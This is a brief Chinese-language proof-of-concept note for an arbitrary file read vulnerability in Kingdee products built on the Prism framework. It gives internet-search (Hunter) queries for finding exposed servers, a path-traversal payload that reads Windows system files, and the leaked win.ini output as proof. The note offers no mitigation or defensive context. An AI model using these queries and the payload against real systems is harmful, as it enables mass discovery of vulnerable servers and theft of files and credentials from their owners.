J9-1金蝶-全产品-任意文件读取

漏洞描述:

金蝶所有引用prism框架的产品全版本存在任意文件读取漏洞

影响版本:

• 目前金蝶所有引用prism框架的产品全版本

网站图片:



网络测绘:

Hunter 语法:

• hunterheader="prism_anonymous"||web.title="Welcome to Prism"||web.title="Sisense License Expired"

漏洞复现:

payload:

/js/c:/windows/win.ini

效果图:



; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1